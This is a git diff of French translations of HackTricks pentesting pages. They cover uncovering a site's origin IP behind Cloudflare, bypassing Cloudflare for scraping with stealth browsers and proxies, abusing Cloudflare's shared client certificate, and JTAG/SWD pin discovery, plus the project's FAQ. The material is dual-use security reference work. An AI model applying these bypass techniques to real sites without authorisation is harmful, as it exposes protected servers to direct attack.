 **Authentification NTLM - Divulgation d'informations**
 
@@ -328,7 +329,7 @@ Vous pouvez **automatiser** cela en utilisant le plugin **nmap** "_http-ntlm-inf
 
 **Redirection HTTP (CTF)**
 
-Il est possible de **placer du contenu** à l'intérieur d'une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur.
+Il est possible d'**insérer du contenu** dans une **redirection**. Ce contenu ne sera pas affiché à l'utilisateur (car le navigateur exécutera la redirection), mais quelque chose pourrait être **caché** à l'intérieur.
 ### Vérification des vulnérabilités Web
 
 Maintenant qu'une énumération complète de l'application Web a été effectuée, il est temps de vérifier de nombreuses vulnérabilités possibles. Vous pouvez trouver la liste de contrôle ici :
@@ -433,6 +434,6 @@ D'autres façons de soutenir HackTricks:
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
+* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
 
 </details>

network-services-pentesting/pentesting-web/uncovering-cloudflare.md

@@ -9,27 +9,27 @@ Autres façons de soutenir HackTricks :
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
 
 </details>
 
-
 ## Techniques courantes pour découvrir Cloudflare
 
 * Vous pouvez utiliser un service qui vous donne les **enregistrements DNS historiques** du domaine. Peut-être que la page web est hébergée sur une adresse IP utilisée précédemment.
 * Il est possible d'obtenir le même résultat en **vérifiant les certificats SSL historiques** qui pourraient pointer vers l'adresse IP d'origine.
 * Vérifiez également les **enregistrements DNS d'autres sous-domaines pointant directement vers des adresses IP**, car il est possible que d'autres sous-domaines pointent vers le même serveur (peut-être pour offrir FTP, mail ou tout autre service).
 * Si vous trouvez un **SSRF à l'intérieur de l'application web**, vous pouvez l'exploiter pour obtenir l'adresse IP du serveur.
-* Recherchez une chaîne de caractères unique de la page web dans des navigateurs tels que shodan (et peut-être google et similaires ?). Vous pourriez trouver une adresse IP avec ce contenu.
-* De manière similaire, au lieu de rechercher une chaîne de caractères unique, vous pourriez rechercher l'icône favicon avec l'outil : [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou avec [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
+* Recherchez une chaîne unique de la page web dans des navigateurs tels que shodan (et peut-être google et similaires ?). Vous pourriez peut-être trouver une adresse IP avec ce contenu.
+* De manière similaire, au lieu de rechercher une chaîne unique, vous pourriez rechercher l'icône favicon avec l'outil : [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) ou avec [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
 * Cela ne fonctionnera pas très fréquemment car le serveur doit envoyer la même réponse lorsqu'il est accédé par l'adresse IP, mais on ne sait jamais.
 
 ## Outils pour découvrir Cloudflare
 
 * Recherchez le domaine dans [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) ou [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Ou utilisez l'outil [CloudPeler](https://github.com/zidansec/CloudPeler) (qui utilise cette API)
 * Recherchez le domaine dans [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
-* [**CloudFlair**](https://github.com/christophetd/CloudFlair) est un outil qui recherchera en utilisant les certificats Censys contenant le nom de domaine, puis recherchera les adresses IPv4 à l'intérieur de ces certificats et enfin tentera d'accéder à la page web sur ces adresses IP.
+* [**CloudFlair**](https://github.com/christophetd/CloudFlair) est un outil qui recherchera à l'aide des certificats Censys contenant le nom de domaine, puis recherchera les adresses IPv4 à l'intérieur de ces certificats et enfin tentera d'accéder à la page web sur ces adresses IP.
+* [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r) : CloakQuest3r est un puissant outil Python méticuleusement conçu pour découvrir la véritable adresse IP des sites web protégés par Cloudflare et d'autres alternatives, un service largement adopté pour la sécurité web et l'amélioration des performances. Sa mission principale est de discerner avec précision l'adresse IP réelle des serveurs web qui sont dissimulés derrière le bouclier protecteur de Cloudflare.
 * [Censys](https://search.censys.io/)
 * [Shodan](https://shodan.io/)
 * [Bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
@@ -76,7 +76,7 @@ Ce mécanisme repose sur les **certificats SSL du client** pour authentifier les
 Au lieu de configurer son propre certificat, les clients peuvent simplement utiliser le certificat de Cloudflare pour autoriser toute connexion en provenance de Cloudflare, **indépendamment du locataire**.
 
 {% hint style="danger" %}
-Par conséquent, un attaquant pourrait simplement définir un **domaine dans Cloudflare en utilisant le certificat de Cloudflare et le pointer** vers l'adresse IP du **domaine de la victime**. De cette manière, en laissant son domaine complètement non protégé, Cloudflare ne protégera pas les requêtes envoyées.
+Par conséquent, un attaquant pourrait simplement définir un **domaine dans Cloudflare en utilisant le certificat de Cloudflare et le pointer** vers l'adresse IP du domaine de la **victime**. De cette manière, en laissant son domaine complètement non protégé, Cloudflare ne protégera pas les requêtes envoyées.
 {% endhint %}
 
 Plus d'informations [**ici**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/).
@@ -93,8 +93,8 @@ Plus d'informations [**ici**](https://socradar.io/cloudflare-protection-bypass-v
 
 Parfois, vous voulez simplement contourner Cloudflare pour scraper la page web. Voici quelques options :
 
-* Utilisez le cache Google : `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
-* Utilisez d'autres services de cache tels que [https://archive.org/web/](https://archive.org/web/)
+* Utiliser le cache de Google : `https://webcache.googleusercontent.com/search?q=cache:https://www.petsathome.com/shop/en/pets/dog`
+* Utiliser d'autres services de cache tels que [https://archive.org/web/](https://archive.org/web/)
 
 ### Solveurs Cloudflare
 
@@ -114,19 +114,20 @@ Utilisez un navigateur sans tête qui n'est pas détecté comme un navigateur au
 
 * **Puppeteer :** Le [plugin stealth](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth) pour [puppeteer](https://github.com/puppeteer/puppeteer).
 * **Playwright :** Le [plugin stealth](https://www.npmjs.com/package/playwright-stealth) arrive bientôt sur Playwright. Suivez les développements [ici](https://github.com/berstend/puppeteer-extra/issues/454) et [ici](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra).
-* **Selenium :** Le [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) est un correctif optimisé pour Selenium Chromedriver.
+* **Selenium :** Le [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) un correctif optimisé pour Selenium Chromedriver.
 
 ### Proxy intelligent avec contournement intégré de Cloudflare <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
 
 Les proxies intelligents sont continuellement mis à jour par des entreprises spécialisées, visant à contourner les mesures de sécurité de Cloudflare (car c'est leur métier).
 
 Certains d'entre eux sont :
-* [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
-* [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
-* [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
-* [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) sont connus pour leurs mécanismes de contournement Cloudflare propriétaires.
 
-Pour ceux qui recherchent une solution optimisée, l'[agrégateur de proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/) se distingue. Ce service intègre plus de 20 fournisseurs de proxy dans une seule API, sélectionnant automatiquement le proxy le meilleur et le plus rentable pour vos domaines cibles, offrant ainsi une option supérieure pour contourner les défenses de Cloudflare.
+* [ScraperAPI](https://www.scraperapi.com/?fp\_ref=scrapeops)
+* [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
+* [Oxylabs](https://oxylabs.go2cloud.org/aff\_c?offer\_id=7\&aff\_id=379\&url\_id=32)
+* [Smartproxy](https://prf.hn/click/camref:1100loxdG/\[p\_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) sont connus pour leurs mécanismes de contournement Cloudflare propriétaires.
+
+Pour ceux qui recherchent une solution optimisée, l'[agrégateur de proxy ScrapeOps](https://scrapeops.io/proxy-aggregator/) se distingue. Ce service intègre plus de 20 fournisseurs de proxy dans une seule API, sélectionnant automatiquement le proxy le meilleur et le plus rentable pour vos domaines cibles, offrant ainsi une option supérieure pour naviguer dans les défenses de Cloudflare.
 
 ### Rétro-ingénierie de la protection anti-bot de Cloudflare <a href="#option-6-reverse-engineer-cloudflare-anti-bot-protection" id="option-6-reverse-engineer-cloudflare-anti-bot-protection"></a>
 
@@ -138,8 +139,6 @@ La rétro-ingénierie des mesures anti-bot de Cloudflare est une tactique utilis
 
 Trouvez plus d'informations sur la façon de faire cela dans l'[article original](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/).
 
-
-
 ## Références
 
 * [https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/](https://scrapeops.io/web-scraping-playbook/how-to-bypass-cloudflare/)
@@ -148,12 +147,12 @@ Trouvez plus d'informations sur la façon de faire cela dans l'[article original
 
 <summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 
-Autres moyens de soutenir HackTricks :
+Autres façons de soutenir HackTricks :
 
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

todo/hardware-hacking/README.md

@@ -1,27 +1,26 @@
+# Piratage du matériel
+
 <details>
 
-<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
 
 Autres façons de soutenir HackTricks :
 
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
 
 </details>
 
-
-#
-
-# JTAG
+## JTAG
 
 JTAG permet d'effectuer un balayage de limite. Le balayage de limite analyse certaines circuits, y compris les cellules de balayage de limite intégrées et les registres pour chaque broche.
 
 La norme JTAG définit **des commandes spécifiques pour effectuer des balayages de limite**, notamment les suivantes :
 
-* **BYPASS** vous permet de tester une puce spécifique sans passer par d'autres puces.
+* **BYPASS** vous permet de tester une puce spécifique sans les frais généraux de passage par d'autres puces.
 * **SAMPLE/PRELOAD** prend un échantillon des données entrant et sortant du dispositif lorsqu'il est en mode de fonctionnement normal.
 * **EXTEST** définit et lit les états des broches.
 
@@ -32,9 +31,9 @@ Il peut également prendre en charge d'autres commandes telles que :
 
 Vous pourriez rencontrer ces instructions lorsque vous utilisez un outil comme le JTAGulator.
 
-## Le port d'accès aux tests
+### Le port d'accès aux tests
 
-Les balayages de limite comprennent des tests du **port d'accès aux tests (TAP)** à quatre fils, un port polyvalent qui fournit **l'accès aux fonctions de support des tests JTAG** intégrées dans un composant. Le TAP utilise les cinq signaux suivants :
+Les balayages de limite comprennent des tests du **port d'accès aux tests (TAP)** à quatre fils, un port polyvalent qui fournit **l'accès aux fonctions de support des tests JTAG** intégrées dans un composant. TAP utilise les cinq signaux suivants :
 
 * Entrée d'horloge de test (**TCK**) Le TCK est l'**horloge** qui définit à quelle fréquence le contrôleur TAP prendra une seule action (en d'autres termes, passera à l'état suivant dans la machine à états).
 * Sélection du mode de test (**TMS**) L'entrée TMS contrôle la **machine à états finis**. À chaque battement de l'horloge, le contrôleur TAP JTAG du dispositif vérifie la tension sur la broche TMS. Si la tension est inférieure à un certain seuil, le signal est considéré comme bas et interprété comme 0, tandis que si la tension est supérieure à un certain seuil, le signal est considéré comme haut et interprété comme 1.
@@ -44,7 +43,7 @@ Les balayages de limite comprennent des tests du **port d'accès aux tests (TAP)
 
 Parfois, vous pourrez trouver ces broches marquées sur le PCB. Dans d'autres cas, vous pourriez avoir besoin de **les trouver**.
 
-## Identification des broches JTAG
+### Identification des broches JTAG
 
 La manière la plus rapide mais la plus coûteuse de détecter les ports JTAG est d'utiliser le **JTAGulator**, un dispositif créé spécifiquement à cette fin (bien qu'il puisse **également détecter les configurations de broches UART**).
 
@@ -52,27 +51,26 @@ Il dispose de **24 canaux** auxquels vous pouvez connecter les broches des carte
 
 Une manière moins chère mais beaucoup plus lente d'identifier les configurations de broches JTAG est d'utiliser le [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) chargé sur un microcontrôleur compatible Arduino.
 
-En utilisant **JTAGenum**, vous devriez d'abord **définir les broches du dispositif de sondage** que vous utiliserez pour l'énumération. Vous devrez vous référer au schéma de brochage du dispositif, puis connecter ces broches aux points de test sur votre dispositif cible.
+En utilisant **JTAGenum**, vous devriez d'abord **définir les broches du dispositif de sondage** que vous utiliserez pour l'énumération. Vous devrez vous référer au schéma des broches du dispositif, puis connecter ces broches aux points de test sur votre dispositif cible.
 
-Une **troisième manière** d'identifier les broches JTAG est d'**inspecter le PCB** pour l'une des configurations de broches. Dans certains cas, les PCB pourraient fournir de manière pratique l'interface **Tag-Connect**, ce qui est une indication claire que la carte possède également un connecteur JTAG. Vous pouvez voir à quoi ressemble cette interface sur [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). De plus, l'inspection des **fiches techniques des jeux de puces sur le PCB** pourrait révéler des schémas de brochage indiquant des interfaces JTAG.
+Une **troisième manière** d'identifier les broches JTAG est d'**inspecter le PCB** pour l'une des configurations de broches. Dans certains cas, les PCB pourraient fournir de manière pratique l'interface **Tag-Connect**, ce qui est une indication claire que la carte possède également un connecteur JTAG. Vous pouvez voir à quoi ressemble cette interface sur [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). De plus, l'inspection des **fiches techniques des jeux de puces sur le PCB** pourrait révéler des schémas de broches indiquant des interfaces JTAG.
 
-# SDW
+## SDW
 
 SWD est un protocole spécifique à ARM conçu pour le débogage.
 
-L'interface SWD nécessite **deux broches** : un signal bidirectionnel **SWDIO**, qui est l'équivalent des broches **TDI et TDO de JTAG et une horloge**, et **SWCLK**, qui est l'équivalent de **TCK** dans JTAG. De nombreux dispositifs prennent en charge le **port de débogage série ou JTAG (SWJ-DP)**, une interface combinée JTAG et SWD qui vous permet de connecter soit une sonde SWD, soit JTAG à la cible.
-
+L'interface SWD nécessite **deux broches** : un signal bidirectionnel **SWDIO**, qui est l'équivalent des broches **TDI et TDO de JTAG et une horloge**, et **SWCLK**, qui est l'équivalent de **TCK** dans JTAG. De nombreux dispositifs prennent en charge le **port de débogage série ou JTAG (SWJ-DP)**, une interface combinée JTAG et SWD qui vous permet de connecter soit une sonde SWD soit JTAG à la cible.
 
 <details>
 
-<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
 
 Autres façons de soutenir HackTricks :
 
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
 
 </details>

welcome/hacktricks-values-and-faq.md

@@ -2,14 +2,14 @@
 
 <details>
 
-<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
+<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
 
 Autres façons de soutenir HackTricks :
 
 * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
-* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
 
 </details>
@@ -19,11 +19,11 @@ Autres façons de soutenir HackTricks :
 {% hint style="success" %}
 Voici les **valeurs du projet HackTricks** :
 
-* Offrir un accès **GRATUIT** à des ressources de piratage **ÉDUCATIVES** à **TOUT** l'Internet.
-* Le piratage consiste à apprendre, et l'apprentissage devrait être aussi gratuit que possible.
+* Offrir un accès **GRATUIT** à des ressources de piratage **ÉDUCATIVES** à **TOUS** sur Internet.
+* Le piratage consiste à apprendre, et l'apprentissage devrait être aussi libre que possible.
 * Le but de ce livre est de servir de **ressource éducative complète**.
-* **STOCKER** d'incroyables **techniques de piratage** que la communauté publie en donnant à **TOUS LES AUTEURS ORIGINAUX** tous les **crédits**.
-* **Nous ne voulons pas le mérite des autres personnes**, nous voulons juste stocker des astuces cool pour tout le monde.
+* **STOCKER** d'incroyables **techniques de piratage** que la communauté publie en donnant tout le **crédit** aux **AUTEURS ORIGINAUX**.
+* **Nous ne voulons pas le mérite des autres**, nous voulons juste stocker des astuces cool pour tout le monde.
 * Nous écrivons également **nos propres recherches** dans HackTricks.
 * Dans plusieurs cas, nous écrirons simplement **dans HackTricks un résumé des parties importantes** de la technique et encouragerons le lecteur à visiter le message original pour plus de détails.
 * **ORGANISER** toutes les techniques de piratage dans le livre pour qu'elles soient **PLUS ACCESSIBLES**
@@ -39,7 +39,7 @@ Voici les **valeurs du projet HackTricks** :
 {% endhint %}
 
 Vous pouvez remercier publiquement les équipes de HackTricks d'avoir rassemblé toutes ces ressources publiquement dans un tweet mentionnant [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
-Si vous êtes particulièrement reconnaissant, vous pouvez également [**soutenir le projet ici**](https://github.com/sponsors/carlospolop).\
+Si vous êtes particulièrement reconnaissant, vous pouvez également [**parrainer le projet ici**](https://github.com/sponsors/carlospolop).\
 Et n'oubliez pas de **mettre une étoile dans les projets Github !** (Trouvez les liens ci-dessous).
 
 {% hint style="success" %}
@@ -63,7 +63,7 @@ Oui, vous le pouvez, mais **n'oubliez pas de mentionner le(s) lien(s) spécifiqu
 * **Comment puis-je citer une page de HackTricks ?**
 {% endhint %}
 
-Tant que le lien **de** la ou des page(s) d'où vous avez pris les informations apparaît, c'est suffisant.\
+Tant que le lien **de** la ou des pages d'où vous avez pris les informations apparaît, c'est suffisant.\
 Si vous avez besoin d'un bibtex, vous pouvez utiliser quelque chose comme :
 ```latex
 @misc{hacktricks-bibtexing,
@@ -89,7 +89,7 @@ La première **valeur de HackTricks** est d'offrir des ressources pédagogiques
 
 Si vous pensez que les livres HackTricks sont faits à des fins **commerciales**, vous avez **TOTALEMENT TORT**.
 
-Nous avons des sponsors parce que, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire des dons à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **aux entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'avoir **des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas l'apprentissage** si quelqu'un se concentre sur le contenu.
+Nous avons des sponsors car, même si tout le contenu est GRATUIT, nous voulons **offrir à la communauté la possibilité d'apprécier notre travail** s'ils le souhaitent. Par conséquent, nous offrons aux gens la possibilité de faire des dons à HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), et **aux entreprises de cybersécurité pertinentes** de parrainer HackTricks et d'**avoir des publicités** dans le livre, les **publicités** étant toujours placées à des endroits où elles sont **visibles** mais **ne perturbent pas l'apprentissage** si quelqu'un se concentre sur le contenu.
 
 Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres blogs avec beaucoup moins de contenu que HackTricks, car HackTricks n'est pas fait à des fins commerciales.
 
@@ -97,21 +97,25 @@ Vous ne trouverez pas HackTricks rempli de publicités ennuyeuses comme d'autres
 * **Que dois-je faire si une page HackTricks est basée sur un article de mon blog mais n'est pas référencée?**
 {% endhint %}
 
-**Nous sommes désolés. Cela ne devrait pas s'être produit**. S'il vous plaît, faites-le nous savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
+**Nous sommes désolés. Cela ne devrait pas se produire**. S'il vous plaît, faites-le nous savoir via Github issues, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**.
 
 {% hint style="danger" %}
 * **Que dois-je faire s'il y a du contenu de mon blog dans HackTricks et que je ne veux pas qu'il y soit?**
 {% endhint %}
 
-Dans tous les cas, sachez que dans ce cas, HackTricks améliorerait votre **SEO** et **encouragerait** les gens à **consulter votre page** (des personnes nous ont mentionné que depuis qu'une de leurs pages est dans HackTricks, elles reçoivent plus de visites). Si vous souhaitez toujours que le contenu de votre blog soit supprimé de HackTricks, faites-le nous savoir.
+Notez que le fait d'avoir des liens vers votre page dans HackTricks:
 
-Notez qu'en demandant cela, nous supprimerons définitivement **tous les liens vers votre blog**, et tout contenu basé sur celui-ci.
+* Améliore votre **SEO**
+* Le contenu est **traduit dans plus de 15 langues** permettant à plus de personnes d'accéder à ce contenu
+* **HackTricks encourage** les gens à **consulter votre page** (plusieurs personnes nous ont mentionné que depuis qu'une de leurs pages est dans HackTricks, elles reçoivent plus de visites)
+
+Cependant, si vous souhaitez toujours que le contenu de votre blog soit supprimé de HackTricks, faites-le nous savoir et nous **supprimerons tous les liens vers votre blog**, et tout contenu basé sur celui-ci.
 
 {% hint style="danger" %}
 * **Que dois-je faire si je trouve du contenu copié-collé dans HackTricks?**
 {% endhint %}
 
-**Malheureusement, cette pratique a pu se produire au début du projet lorsque cette page n'était que les notes d'un pentester**. Nous essayons toujours de **donner tout le crédit aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé (même avec la source originale référencée), faites-le nous savoir et nous le **supprimerons**, **laisserons le lien**, ou **le réécrirons**.
+Nous **donnons toujours tout le crédit aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé sans source originale référencée, faites-le nous savoir et nous le **supprimerons**, **ajouterons le lien avant le texte**, ou **le réécrirons en ajoutant le lien**.
 
 ## LICENCE
 
@@ -139,13 +143,13 @@ Cette licence n'accorde aucun droit de marque ou de branding en relation avec le
 ## **Avertissement**
 
 {% hint style="danger" %}
-Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni sur la base du "tel quel", et les auteurs et éditeurs ne font aucune déclaration ou garantie d'aucune sorte, expresse ou implicite, concernant l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement à vos risques et périls.
+Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni tel quel, et les auteurs et éditeurs ne font aucune déclaration ou garantie d'aucune sorte, expresse ou implicite, sur l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement à vos risques et périls.
 
-Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, perte ou dommage indirect ou consécutif, ou toute perte ou dommage quel qu'il soit découlant de la perte de données ou de bénéfices résultant de, ou en relation avec, l'utilisation de ce livre.
